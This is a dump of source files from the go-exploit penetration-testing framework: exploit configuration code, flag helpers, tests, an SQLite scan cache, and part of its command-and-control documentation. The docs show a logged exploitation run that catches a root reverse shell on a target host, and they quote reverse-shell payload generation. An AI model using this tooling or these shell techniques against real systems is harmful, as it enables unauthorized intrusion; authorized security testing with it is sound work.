Exploitation: true},\n//\t  config.CodeExecution, []c2.Impl{c2.SimpleShellServer},\n//\t  \"Atlassian\", []string{\"Confluence\"}, []string{\"cpe:2.3:a:atlassian:confluence\"},\n//\t  \"CVE-2023-22527\", \"HTTP\", 8090)\nfunc NewRemoteExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,\n\tproduct []string, cpe []string, cve string, protocol string, defaultPort int,\n) *Config {\n\tnewConf := new(Config)\n\tnewConf.Product = deDupeProductName(product, vendor)\n\tnewConf.InitFlagsStructs()\n\tnewConf.Impl = implemented\n\tnewConf.ExType = extype\n\tnewConf.SupportedC2 = supportedC2\n\tnewConf.Vendor = vendor\n\tnewConf.Products = product\n\tnewConf.C2AutoStart = true\n\tnewConf.CPE = cpe\n\tnewConf.CVE = cve\n\tnewConf.Protocol = protocol\n\tnewConf.Rport = defaultPort\n\tnewConf.PayloadFlags = false\n\n\treturn newConf\n}\n\nfunc deDupeProductName(product []string, vendor string) string {\n\tjoinedProducts := strings.Join(product, \"/\")\n\tif joinedProducts == vendor {\n\t\treturn vendor\n\t}\n\n\treturn fmt.Sprintf(\"%s %s\", vendor, joinedProducts)\n}\n\n// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:.\nfunc NewLocalExploit(implemented ImplementedFeatures, extype ExploitType, supportedC2 []c2.Impl, vendor string,\n\tproduct []string, cpe []string, cve string,\n) *Config {\n\tnewConf := new(Config)\n\tnewConf.Product = deDupeProductName(product, vendor)\n\tnewConf.InitFlagsStructs()\n\tnewConf.Impl = implemented\n\tnewConf.ExType = extype\n\tnewConf.SupportedC2 = supportedC2\n\tnewConf.Vendor = vendor\n\tnewConf.Products = product\n\tnewConf.C2AutoStart = true\n\tnewConf.CPE = cpe\n\tnewConf.CVE = cve\n\tnewConf.PayloadFlags = false\n\n\treturn newConf\n}\n\nfunc (conf *Config) InitFlagsStructs() {\n\tconf.StringFlagsMap = make(map[string]*string)\n\tconf.IntFlagsMap = make(map[string]*int)\n\tconf.UintFlagsMap = make(map[string]*uint)\n\tconf.BoolFlagsMap = make(map[string]*bool)\n}\n\n// Create a command line flag for the string var \"name\" with the default value of \"value\" and\n// store the result locally.\nfunc (conf *Config) CreateStringFlag(name string, value string, usage string) {\n\tvaluePtr := &value\n\t_, exists := conf.StringFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tconf.StringFlagsMap[name] = valuePtr\n\tflag.StringVar(conf.StringFlagsMap[name], name, value, usage)\n}\n\n// Create a command line flag for the string var \"name\" with the default value of \"value\" and\n// store the result locally *using an external \"param\" pointer*.\nfunc (conf *Config) CreateStringVarFlag(param *string, name string, value string, usage string) {\n\t_, exists := conf.StringFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tconf.StringFlagsMap[name] = param\n\tflag.StringVar(param, name, value, usage)\n}\n\n// Create a command line flag for the uint var \"name\" with the default value of \"value\" and\n// store the result locally.\nfunc (conf *Config) CreateUintFlag(name string, value uint, usage string) {\n\t_, exists := conf.UintFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tvaluePtr := &value\n\tconf.UintFlagsMap[name] = valuePtr\n\tflag.UintVar(conf.UintFlagsMap[name], name, value, usage)\n}\n\n// Create a command line flag for the uint var \"name\" with the default value of \"value\" and\n// store the result locally *using an external \"param\" pointer*.\nfunc (conf *Config) CreateUintVarFlag(param *uint, name string, value uint, usage string) {\n\t_, exists := conf.UintFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tconf.UintFlagsMap[name] = param\n\tflag.UintVar(param, name, value, usage)\n}\n\n// Create a command line flag for the int var \"name\" with the default value of \"value\" and\n// store the result locally.\nfunc (conf *Config) CreateIntFlag(name string, value int, usage string) {\n\t_, exists := conf.IntFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tvaluePtr := &value\n\tconf.IntFlagsMap[name] = valuePtr\n\tflag.IntVar(conf.IntFlagsMap[name], name, value, usage)\n}\n\n// Create a command line flag for the int var \"name\" with the default value of \"value\" and\n// store the result locally *using an external \"param\" pointer*.\nfunc (conf *Config) CreateIntVarFlag(param *int, name string, value int, usage string) {\n\t_, exists := conf.IntFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tconf.IntFlagsMap[name] = param\n\tflag.IntVar(param, name, value, usage)\n}\n\n// Create a command line flag for the bool var \"name\" with the default value of \"value\" and\n// store the result locally.\nfunc (conf *Config) CreateBoolFlag(name string, value bool, usage string) {\n\t_, exists := conf.BoolFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tvaluePtr := &value\n\tconf.BoolFlagsMap[name] = valuePtr\n\tflag.BoolVar(conf.BoolFlagsMap[name], name, value, usage)\n}\n\n// Create a command line flag for the bool var \"name\" with the default value of \"value\" and\n// store the result locally *using an external \"param\" pointer*.\nfunc (conf *Config) CreateBoolVarFlag(param *bool, name string, value bool, usage string) {\n\t_, exists := conf.BoolFlagsMap[name]\n\tif exists {\n\t\toutput.PrintfFrameworkWarn(\"Command line flag '%s' already defined, flag may have unexpected effects\", name)\n\t}\n\tconf.BoolFlagsMap[name] = param\n\tflag.BoolVar(param, name, value, usage)\n}\n\n// Fetch the configured string value for \"name\".\nfunc (conf *Config) GetStringFlag(name string) string {\n\tvalue, ok := conf.StringFlagsMap[name]\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Requested invalid flag: %s\", name)\n\n\t\treturn \"\"\n\t}\n\n\treturn *value\n}\n\n// Fetch the configured uint value for \"name\".\nfunc (conf *Config) GetUintFlag(name string) uint {\n\tvalue, ok := conf.UintFlagsMap[name]\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Requested invalid flag: %s\", name)\n\n\t\treturn 0\n\t}\n\n\treturn *value\n}\n\n// Fetch the configured uint value for \"name\".\nfunc (conf *Config) GetIntFlag(name string) int {\n\tvalue, ok := conf.IntFlagsMap[name]\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Requested invalid flag: %s\", name)\n\n\t\treturn 0\n\t}\n\n\treturn *value\n}\n\n// Fetch the configured uint value for \"name\".\nfunc (conf *Config) GetBoolFlag(name string) bool {\n\tvalue, ok := conf.BoolFlagsMap[name]\n\tif !ok {\n\t\toutput.PrintfFrameworkError(\"Requested invalid flag: %s\", name)\n\n\t\treturn false\n\t}\n\n\treturn *value\n}\n\n// Apply the configuration settings to a Go text template. This will take\n// the `Config` struct and apply it to a `text/template`, allowing for\n// strings to be built directly from the already set configuration\n// variables.\n//\n//\ts := conf.ApplyTemplate(`CVE: {{.CVE}} - {{.Product}}`)\n//\toutput.PrintStatus(s) // Output: CVE: CVE-2024-1337 - OFBiz\n//\n// Flags that are user defined with CreateStringFlag and other types are\n// directly accessible from their map values, for example if a command line\n// argument is added with conf.CreateStringFlag(\"output\", \"do output\",\n// \"instructions\") it will be accessible via the following ApplyTemplate\n// call:\n//\n//\tconf.ApplyTemplate(`Output flag {{.StringFlagsMap.output}}`)\n//\n// This function only returns the processed string and if a templating\n// error occurs the function emits a framework error and sets the string to\n// an empty string. This makes it harder to process any dynamic content and\n// properly catch errors, but simplifies the return value to only provide a\n// string.\n//\n// This should not be used with potentially attacker controlled input.\n//\n// Some Config types might be complex and will require usage of range\n// components of text/template, follow the package docs if necessary.\nfunc (conf *Config) ApplyTemplate(name string) string {\n\tt, err := template.New(\"config-string-template\").Parse(name)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not create template: %s\", err.Error())\n\n\t\treturn \"\"\n\t}\n\tvar buf bytes.Buffer\n\tif err := t.Execute(&buf, conf); err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not apply template: %s\", err.Error())\n\n\t\treturn \"\"\n\t}\n\n\treturn buf.String()\n}\n\n// Generate a URL from a path from the current configuration. This is a\n// way of invoking protocol.GenerateURL for developer ergonomics during\n// exploit development.\nfunc (conf *Config) GenerateURL(path string) string {\n\treturn protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, path)\n}\n\n// Disable automatic start of c2 servers. Manually starting is required after\n// this function is called. This is useful when you have an exploit that\n// may have multiple stages and you are guaranteed to not need the C2\n// setup. An example is an exploit that needs to retrieve a CAPTCHA may not\n// want to start up the C2 until the first stage is retrieved and the\n// CAPTCHA is solved.\nfunc (conf *Config) DisableC2Start() {\n\tconf.C2AutoStart = false\n}\n\n// Some C2 (ShellTunnel) don't actually care how the payload is generated, but\n// the underlying C2 might be implied depending on how the individual exploit\n// has been developed. It is certainly not a requirement to call this function\n// but it can help simplify the handling of secure shell vs insecure.\nfunc (conf *Config) ResolveC2Payload() c2.Impl {\n\tif conf.C2Type != c2.ShellTunnel {\n\t\treturn conf.C2Type\n\t}\n\n\tif shelltunnel.GetInstance().SSLShellServer {\n\t\treturn c2.SSLShellServer\n\t}\n\n\treturn c2.SimpleShellServer\n}\n\n// AddPayload provides hints to an exploit about types of payloads that are\n// supported and then sets up payload command line flags to allow user defined\n// payload options.\n//\n// By default adding support for a payload sets up payload flags. This allows\n// an exploit to automatically gain support for custom commands or files for\n// payloads. See payload.Supported for details about which payload type adds\n// which flags.\n//\n// Basic usage of adding support for specific payloads can be seen below:\n//\n//\tsupportedPayload := []payload.Supported{\n//\t\t{\n//\t\t\tTypes:   payload.GenericCommand,\n//\t\t\tArch:    payload.None,\n//\t\t\tEffects: payload.NoEffects,\n//\t\t\tDefault: true,\n//\t\t},\n//\t\t{\n//\t\t\tTypes:   payload.LinuxELF,\n//\t\t\tArch:    payload.AMD64,\n//\t\t\tEffects: payload.UnknownEffects,\n//\t\t},\n//\t\t{\n//\t\t\tTypes:   payload.LinuxELF,\n//\t\t\tArch:    payload.ARM64,\n//\t\t\tEffects: payload.Effects{\n//\t\t\t\tpayload.FileCreate: []string{\"/var/www/html/pwnt\", \"/var/www/html/pwnt2\"},\n//\t\t\t},\n//\t\t},\n//\t}\n//\n//\tconf := config.NewRemoteExploit(\n//\t\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},\n//\t\tconfig.CodeExecution, supportedC2,\n//\t\t\"\", []string{\"\"},\n//\t\t[]string{\"\"}, \"CVE-2023-28324\", \"HTTP\", 80)\n//\tconf.AddPayload(supportedPayload[:]...)\n//\n// Usage of payload supported options requires some modification to payload\n// generation logic to check for a custom payload, similarly to selecting C2\n// types. Below shows the payload selection type will automatically populate\n// config.CustomPayload with the contents of the payload specific flag:\n//\n//\tswitch conf.SelectedPayload.Types {\n//\tcase payload.GenericCommand:\n//\t\toutput.PrintfStatus(\"adding GenericCommand\")\n//\t\tif conf.HasCustomPayload() {\n//\t\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n//\t\t}\n//\t\t// continue with non-custom payload generation\n//\tcase payload.LinuxELF:\n//\t\toutput.PrintfStatus(\"adding LinuxELF\")\n//\t\tif conf.HasCustomPayload() {\n//\t\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(conf.CustomPayload))\n//\t\t}\n//\t\t// continue with non-custom payload generation\n//\t}\n//\n// Alternatively, simple payloads can utilize the payload type options\n// during payload generations to substitute in the custom payloads by using\n// the type specific checks:\n//\n//\tif conf.HasCustomPayload() {\n//\t\tif conf.SelectedPayload.Type.IsCommand() {\n//\t\t\toutput.PrintfStatus(\"using '%s' in place of default\", string(conf.CustomPayload))\n//\t\t} else {\n//\t\t\toutput.PrintfStatus(\"using binary len %d in place of default\", len(string(conf.CustomPayload)))\n//\t\t}\n//\t}\nfunc (conf *Config) AddPayload(p ...payload.Supported) {\n\tconf.PayloadFlags = true\n\thasDefault := false\n\tfor _, pl := range p {\n\t\tif pl.Default {\n\t\t\tif hasDefault {\n\t\t\t\toutput.PrintFrameworkError(\"Cannot have multiple default payloads\")\n\n\t\t\t\treturn\n\t\t\t}\n\t\t\tconf.SelectedPayload = pl\n\t\t\thasDefault = true\n\t\t}\n\t\tconf.SupportedPayloads = append(conf.SupportedPayloads, pl)\n\t}\n}\n\n// HasCustomPayload checks if the supported payload has a custom flag defined and the data is\n// populated by the framework. This is useful for payload generation wanting to explicitly\n// check for if a user has provided a payload.\nfunc (conf *Config) HasCustomPayload() bool {\n\tif len(conf.SupportedPayloads) == 0 {\n\t\treturn false\n\t}\n\n\treturn len(conf.CustomPayload) > 0\n}\n"
  },
  {
    "path": "config/config_test.go",
    "content": "package config_test\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n)\n\nfunc TestDefaultFlags(t *testing.T) {\n\tconf := config.NewRemoteExploit(\n\t\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},\n\t\tconfig.CodeExecution, []c2.Impl{}, \"Apache\", []string{\"OFBiz\"},\n\t\t[]string{\"cpe:2.3:a:apache:ofbiz\"}, \"CVE-2024-45507\", \"HTTP\", 80)\n\n\tconf.CreateStringFlag(\"teststring1\", \"default!\", \"string usage\")\n\tconf.CreateUintFlag(\"testuint1\", 99, \"uint usage\")\n\tconf.CreateIntFlag(\"testint1\", 300, \"int usage\")\n\tconf.CreateBoolFlag(\"testbool1\", true, \"bool usage\")\n\n\tif conf.GetStringFlag(\"teststring1\") != \"default!\" {\n\t\tt.Error(\"Unexpected GetStringFlag results\")\n\t}\n\tif conf.GetStringFlag(\"wat\") != \"\" {\n\t\tt.Error(\"Failed string lookup should default to empty string\")\n\t}\n\tif conf.GetUintFlag(\"teststring1\") != 0 {\n\t\tt.Error(\"Failed uint lookup should default to 0\")\n\t}\n\tif conf.GetUintFlag(\"testuint1\") != 99 {\n\t\tt.Error(\"Unexpected GetUintFlag results\")\n\t}\n\tif conf.GetIntFlag(\"testint1\") != 300 {\n\t\tt.Error(\"Unexpected GetIntFlag results\")\n\t}\n\tif !conf.GetBoolFlag(\"testbool1\") {\n\t\tt.Error(\"Unexpected GetBoolFlag results\")\n\t}\n}\n\nfunc TestExternalDefaultFlags(t *testing.T) {\n\tconf := config.NewRemoteExploit(\n\t\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},\n\t\tconfig.CodeExecution, []c2.Impl{}, \"Apache\", []string{\"OFBiz\"},\n\t\t[]string{\"cpe:2.3:a:apache:ofbiz\"}, \"CVE-2024-45507\", \"HTTP\", 80)\n\n\ttestString := \"test\"\n\tconf.CreateStringVarFlag(&testString, \"teststring\", \"default!\", \"string usage\")\n\ttestUInt := uint(88)\n\tconf.CreateUintVarFlag(&testUInt, \"testuint\", 99, \"uint usage\")\n\ttestInt := -88\n\tconf.CreateIntVarFlag(&testInt, \"testint\", 300, \"int usage\")\n\ttestBool := true\n\tconf.CreateBoolVarFlag(&testBool, \"testbool\", true, \"bool usage\")\n\n\tif conf.GetStringFlag(\"teststring\") != \"default!\" {\n\t\tt.Error(\"Unexpected GetStringFlag results\")\n\t}\n\tif conf.GetStringFlag(\"wat\") != \"\" {\n\t\tt.Error(\"Failed string lookup should default to empty string\")\n\t}\n\tif conf.GetUintFlag(\"teststring\") != 0 {\n\t\tt.Error(\"Failed uint lookup should default to 0\")\n\t}\n\tif conf.GetUintFlag(\"testuint\") != 99 {\n\t\tt.Error(\"Unexpected GetUintFlag results\")\n\t}\n\tif conf.GetIntFlag(\"testint\") != 300 {\n\t\tt.Error(\"Unexpected GetIntFlag results\")\n\t}\n\tif !conf.GetBoolFlag(\"testbool\") {\n\t\tt.Error(\"Unexpected GetBoolFlag results\")\n\t}\n}\n\nfunc TestApplyTemplate(t *testing.T) {\n\tconf := config.NewRemoteExploit(\n\t\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},\n\t\tconfig.CodeExecution, []c2.Impl{}, \"Apache\", []string{\"OFBiz\"},\n\t\t[]string{\"cpe:2.3:a:apache:ofbiz\"}, \"CVE-2024-45507\", \"HTTP\", 80)\n\n\tconf.CreateStringFlag(\"teststring2\", \"default!\", \"string usage\")\n\tconf.CreateUintFlag(\"testuint2\", 99, \"uint usage\")\n\tconf.CreateIntFlag(\"testint2\", 300, \"int usage\")\n\tconf.CreateBoolFlag(\"testbool2\", true, \"bool usage\")\n\n\ts := conf.ApplyTemplate(\"{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}\")\n\tif s == \"\" {\n\t\tt.Error(\"Template returned error\")\n\t}\n\ts = conf.ApplyTemplate(\"{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}\")\n\tif s == \"\" {\n\t\tt.Error(\"Template returned error\")\n\t}\n\n\tif s != \"CVE-2024-45507 default! 99 300 true\" {\n\t\tt.Errorf(\"'%s' unexpected\", s)\n\t}\n}\n\nfunc TestGenerateURL(t *testing.T) {\n\tconf := config.NewRemoteExploit(\n\t\tconfig.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},\n\t\tconfig.CodeExecution, []c2.Impl{}, \"Apache\", []string{\"OFBiz\"},\n\t\t[]string{\"cpe:2.3:a:apache:ofbiz\"}, \"CVE-2024-45507\", \"HTTP\", 80)\n\tconf.Rhost = \"127.13.37.1\"\n\tconf.Rport = 31337\n\tconf.SSL = true\n\n\tif strings.Compare(conf.GenerateURL(\"/vulncheck\"), `https://127.13.37.1:31337/vulncheck`) != 0 {\n\t\tt.Errorf(\"GenerateURL did not generate expected HTTPS URL: `%s` != `%s`\", conf.GenerateURL(\"/vulncheck\"), `https://127.13.37.1:31337/vulncheck`)\n\t}\n\tconf.SSL = false\n\tif strings.Compare(conf.GenerateURL(\"/vulncheck\"), `http://127.13.37.1:31337/vulncheck`) != 0 {\n\t\tt.Errorf(\"GenerateURL did not generate expected HTTP URL: `%s` != `%s`\", conf.GenerateURL(\"/vulncheck\"), `http://127.13.37.1:31337/vulncheck`)\n\t}\n}\n"
  },
  {
    "path": "db/create.go",
    "content": "// SQLite Caching and Cross-Exploit Database\n//\n// The db package contains the logic to handle a user provided SQLite DB in order\n// to store results and cache HTTP responses. This has a few useful benefits:\n//\n//  1. When scanning with hundreds of go-exploit implementations, the user significantly\n//     cuts down on network requests (therefore speeding up scanning), both from the\n//     verified results being cached (you only have to verify a target is Confluence once)\n//     and from the cached HTTP responses.\n//  2. The result is a useful asset database containing IP, port, installed software, and\n//     versions.\n//  3. The database can be reused with a go-exploit and generate no network traffic (assuming\n//     you aren't doing the exploitation stage). That is very interesting when, for example,\n//     you wrote a version scanner for CVE-2024-31982, scanned a customer host that was patched,\n//     but then CVE-2024-31983 is released the next day. You can essentially rescan the cached\n//     version of their system with your new CVE scanner.\n//\n// Mostly this package should be totally transparent to users of the framework. The only direct\n// interface, currently, should be calls to HTTPGetCache.\npackage db\n\nimport (\n\t\"database/sql\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t// pure go sqlite3 driver.\n\t_ \"modernc.org/sqlite\"\n)\n\n// GlobalSQLHandle is a handle to the SQLite DB for handling cross-exploit data sharing.\nvar GlobalSQLHandle *sql.DB\n\n// GlobalHTTPRespCacheLimit is the maximum size of an HTTP body that we will attempt to cache.\nvar GlobalHTTPRespCacheLimit int\n\nconst (\n\tschemaVersion = \"1.0.0\"\n\n\tmetadataTable     = `CREATE TABLE IF NOT EXISTS metadata (created INTEGER NOT NULL,schema_version TEXT NOT NULL);`\n\tinitMetadataTable = `INSERT INTO metadata (created, schema_version) VALUES (?, ?)`\n\tcheckMetadata     = `SELECT name FROM sqlite_master WHERE type ='table' = ? AND name='metadata`\n\tgetSchemaVersion  = `SELECT schema_version FROM metadata;`\n\n\tverifiedTable = `CREATE TABLE IF NOT EXISTS verified(` +\n\t\t`id INTEGER PRIMARY KEY AUTOINCREMENT,` +\n\t\t`created INTEGER NOT NULL,` +\n\t\t`software_name TEXT NOT NULL,` +\n\t\t`installed INTEGER NOT NULL CHECK (installed IN (0, 1)),` +\n\t\t`version TEXT NOT NULL,` +\n\t\t`rhost TEXT NOT NULL,` +\n\t\t`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535));`\n\n\thttpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` +\n\t\t`id INTEGER PRIMARY KEY AUTOINCREMENT,` +\n\t\t`created INTEGER NOT NULL,` +\n\t\t`rhost TEXT NOT NULL,` +\n\t\t`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535),` +\n\t\t`uri TEXT NOT NULL,` +\n\t\t`data BLOB NOT NULL);`\n)\n\nfunc InitializeDB(name string) bool {\n\tGlobalSQLHandle = nil\n\tif len(name) == 0 {\n\t\treturn true\n\t}\n\n\thandle, err := sql.Open(\"sqlite\", name)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\tif checkMetadataExists(handle) && !checkSchemaVersion(handle) {\n\t\treturn false\n\t} else if !createMetadataTable(handle) {\n\t\treturn false\n\t}\n\n\tif !createVerifiedSoftwareTable(handle) ||\n\t\t!createHTTPCacheTable(handle) {\n\t\treturn false\n\t}\n\n\tGlobalSQLHandle = handle\n\n\treturn true\n}\n\nfunc checkMetadataExists(handle *sql.DB) bool {\n\tname := \"\"\n\terr := handle.QueryRow(checkMetadata).Scan(&name)\n\n\treturn err == nil\n}\n\nfunc createMetadataTable(handle *sql.DB) bool {\n\t_, err := handle.Exec(metadataTable)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\t_, err = handle.Exec(initMetadataTable, time.Now().Unix(), schemaVersion)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc checkSchemaVersion(handle *sql.DB) bool {\n\tversion := \"\"\n\terr := handle.QueryRow(getSchemaVersion).Scan(&version)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\tif version != schemaVersion {\n\t\toutput.PrintFrameworkError(\"Incompatible schema versions\")\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc createVerifiedSoftwareTable(handle *sql.DB) bool {\n\t_, err := handle.Exec(verifiedTable)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc createHTTPCacheTable(handle *sql.DB) bool {\n\t// create the cache table\n\t_, err := handle.Exec(httpCacheTable)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "db/get.go",
    "content": "package db\n\nconst (\n\tgetCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?`\n\tgetInstalled = `SELECT installed FROM verified WHERE software_name = ? AND rhost = ? AND rport = ?`\n)\n\n// Look for an HTTP response in the db cache.\nfunc GetHTTPResponse(rhost string, rport int, path string) (string, bool) {\n\tif GlobalSQLHandle == nil {\n\t\treturn \"\", false\n\t}\n\n\tvar retVal []byte\n\terr := GlobalSQLHandle.QueryRow(getCacheData, rhost, rport, path).Scan(&retVal)\n\n\treturn string(retVal), err == nil\n}\n\n// Check the database to see if the target has been scanned for specific software. If so, return the result (so we don't do it again)\n// Return is <db-value>,<ok>.\nfunc GetVerified(product string, rhost string, rport int) (bool, bool) {\n\tif GlobalSQLHandle == nil {\n\t\treturn false, false\n\t}\n\n\tretVal := false\n\terr := GlobalSQLHandle.QueryRow(getInstalled, product, rhost, rport).Scan(&retVal)\n\n\treturn retVal, err == nil\n}\n"
  },
  {
    "path": "db/update.go",
    "content": "package db\n\nimport (\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t// pure go sqlite3 driver.\n\t_ \"modernc.org/sqlite\"\n)\n\nconst (\n\tverifiedUpsert = `INSERT INTO verified (id, created, software_name, installed, version, rhost, rport)` +\n\t\t`VALUES ((SELECT id FROM verified WHERE rhost = ? AND rport = ? AND software_name = ?), ?, ?, ?, ?, ?, ?)` +\n\t\t`ON CONFLICT(id) DO UPDATE SET ` +\n\t\t`software_name = excluded.software_name,` +\n\t\t`installed = excluded.installed,` +\n\t\t`rhost = excluded.rhost,` +\n\t\t`rport = excluded.rport,` +\n\t\t`version = excluded.version;`\n\n\tcacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, data)` +\n\t\t`VALUES ((SELECT id FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?), ?, ?, ?, ?, ?)` +\n\t\t`ON CONFLICT(id) DO UPDATE SET ` +\n\t\t`rhost = excluded.rhost,` +\n\t\t`rport = excluded.rport,` +\n\t\t`uri = excluded.uri,` +\n\t\t`data = excluded.data;`\n)\n\nfunc UpdateVerified(software string, installed bool, version string, rhost string, rport int) bool {\n\tif GlobalSQLHandle == nil {\n\t\treturn true\n\t}\n\n\t_, err := GlobalSQLHandle.Exec(verifiedUpsert, rhost, rport, software, time.Now().Unix(), software, installed, version, rhost, rport)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(err.Error())\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Attempt to cache the provided HTTP httpResp in the database.\nfunc CacheHTTPResponse(rhost string, rport int, path string, httpResp []byte) {\n\tif GlobalSQLHandle == nil {\n\t\treturn\n\t}\n\n\t// only cache up to a user configurable size\n\tif len(httpResp) > GlobalHTTPRespCacheLimit {\n\t\treturn\n\t}\n\n\t_, err := GlobalSQLHandle.Exec(cacheUpsert, rhost, rport, path, time.Now().Unix(), rhost, rport, path, httpResp)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Error during caching: %s\", err.Error())\n\n\t\treturn\n\t}\n}\n"
  },
  {
    "path": "docs/c2.md",
    "content": "# Command & Control\n\n## Supported C2\n\nIn `go-exploit`, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types:\n\n1. *SimpleShellClient* - An unencrypted shell via a bind shell.\n2. *SimpleShellServer* - An unencrypted shell via a reverse shell.\n3. *SSLShellServer* - An encrypted shell via a reverse shell.\n4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).\n5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`.\n6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.\n\n`go-exploit` also supports a `-o` option which means \"The c2 is handled by an outside program so don't expect any type of connect back.\"\n\n## Implementing and Using C2 in an Exploit\n\nA `go-exploit` configures available C2 in `main`. For example, if we look at the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go), we'll find the following:\n\n```go\nfunc main() {\n\tsupportedC2 := []c2.Impl{\n\t\tc2.SSLShellServer,\n\t\tc2.SimpleShellServer,\n\t\tc2.HTTPServeFile,\n\t}\n\t}\n\tconf := config.New(config.CodeExecution, supportedC2, \"Apache OFBiz\", \"CVE-2023-51467\", 80)\n\n\tsploit := OFBizXML{}\n\texploit.RunProgram(sploit, conf)\n}\n```\n\nIn the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, `c2.SSLShellServer` (an encrypted reverse shell) is the default payload. The exploit also supports `c2.SimpleShellServer` and `c2.HTTPServeFile`. To use the non-default c2, you simply need to inform the command line:\n\n```sh\nalbinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270\ntime=2024-03-05T04:50:27.070-05:00 level=STATUS msg=\"Starting listener on 10.9.49.78:1270\"\ntime=2024-03-05T04:50:27.071-05:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.88 port=8443 ssl=false \"ssl auto\"=true\ntime=2024-03-05T04:50:27.126-05:00 level=STATUS msg=\"Sending a reverse shell payload for port 10.9.49.78:1270\"\ntime=2024-03-05T04:50:27.126-05:00 level=STATUS msg=\"Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/\"\ntime=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.88:49402\"\ntime=2024-03-05T04:50:28.520-05:00 level=STATUS msg=\"Active shell from 10.9.49.88:49402\"\nid\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nWhile `go-exploit` comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) has the following function for defining the payload based on the c2 selected by the user:\n\n```go\nfunc generatePayload(conf *config.Config) (string, bool) {\n\tgenerated := \"\"\n\n\tswitch conf.C2Type {\n\tcase c2.SSLShellServer:\n\t\toutput.PrintfStatus(\"Sending an SSL reverse shell payload for port %s:%d\", conf.Lhost, conf.Lport)\n\t\tgenerated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true)\n\tcase 